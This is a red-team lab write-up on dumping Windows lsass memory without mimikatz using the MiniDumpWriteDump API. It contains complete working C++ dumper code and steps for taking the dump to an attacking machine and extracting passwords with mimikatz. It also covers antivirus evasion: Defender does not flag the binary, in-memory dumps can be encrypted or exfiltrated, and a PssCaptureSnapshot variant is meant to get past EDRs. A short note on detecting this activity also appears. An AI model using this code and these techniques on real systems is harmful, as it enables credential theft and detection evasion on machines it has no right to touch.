Dumping Lsass without Mimikatz with MiniDumpWriteDump
Evasion, Credential Dumping
This lab explores multiple ways of how we can write a simple lsass process dumper using MiniDumpWriteDump API. Lsass process dumps created with MiniDumpWriteDump can be loaded to mimikatz offline, where credential materials could be extracted.
Note that you may get flagged by AVs/EDRs for reading lsass process memory. Depending on what AV/EDR you are dealing with, see other notes: Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs and Full DLL Unhooking with C++
MiniDumpWriteDump to Disk
It's possible to use MiniDumpWriteDump API call to dump lsass process memory.
Code
#include "stdafx.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
using namespace std;
int main() {
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
// Open a handle to lsass.dmp - this is where the minidump file will be saved to
HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// Find lsass PID
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
}
// Open handle to lsass.exe process
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
// Create minidump
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (isDumped) {
cout << "[+] lsass dumped successfully!" << endl;
}
return 0;
}Do not forget to add dbghelp.lib as a dependency in the Linker > Input settings for your C++ project if the compiler is giving you a hard time:

Demo
Execute CreateMiniDump.exe (compiled file above) or compile your own binary
Lsass.dmp gets dumped to the working directory
Take the lsass.dmp offline to your attacking machine
Open mimikatz and load in the dump file
Dump passwords

Why it's worth it?
See how Windows Defender on Windows 10 is flagging up mimikatz immediately... but allows running CreateMiniDump.exe? Good for us - we get lsass.exe dumped to lsass.dmp:

..which then can be read in mimikatz offline:

Of ourse, there is Sysinternal's procdump that does the same thing and it does not get flagged by Windows defender, but it is always good to know there are alternatives you could turn to if you need to for whatever reason.
Observations
As mentioned earlier, the code above uses a native windows API call MiniDumpWriteDump to make a memory dump of a given process. If you are on the blue team and trying to write detections for these activities, you may consider looking for processes loading in dbghelp.dll module and calling MiniDumpWriteDump function:

MiniDumpWriteDump to Memory using MiniDump Callbacks
By default, MiniDumpWriteDump will dump lsass process memory to disk, however it's possible to use MINIDUMP_CALLBACK_INFORMATION callbacks to create a process minidump and store it memory, where we could encrypt it before dropping to disk or exfiltrate it over the network.
Code
The below code shows how we can create a minidump for lsass and store its buffer in memory, where we can process it as required:
Thanks Niall Newman for pointing me to SafetyDump by @m0rv4i, who implemented MiniDumpWriteDump with callbacks in C#, which I used as a guide for implementing the callback logic.
Demo
On the left, 0x00000135B8291040 (dumpBuffer) gets populated with minidump data after the MiniDumpWriteDump API is called.
On the right, we're executing the same code and it says that the minidump was written to our buffer at 0x000001AEA0BC4040. For testing purposes, bytes from the same buffer 0x000001AEA0BC4040 were also written to c:\temp\lsass.dmp using WriteFile, so that we could load the lsass dump to mimikatz (bottom right) and ensure it's not corrupted and credentials can be retrieved:

Other Ways
Below are links to a couple of other cool solutions to the same problem.
Custom MiniDumpWriteDump implementation, based on the one from ReactOS:
Hooking dbgcore.dll!Win32FileOutputProvider::WriteAll to intercept the minidump data before it's written to disk:
MiniDumpWriteDump + PssCaptureSnapshot
PssCaptureSnapshot is another Windows API that lets us dump lsass process using MiniDumpWriteDump that may help us sneak past some AVs/EDRs for now.
Below is the modified dumper code that uses the PssCaptureSnapshot to obtain a snapshot of the lsass process. The handle that is returned by the PssCaptureSnapshot is then used in the MiniDumpWriteDump call instead of the lsass process handle. This is done via the minidump callback:

Note that this is the way procdump.exe works when -r flag is specified:

To confirm, if we execute procdump like so:
...and inspect the APIs that are being called under the hood, we will see that procdump is indeed dynamically resolving the PssCaptureSnapshot address inside the kernel32.dll:

References
Last updated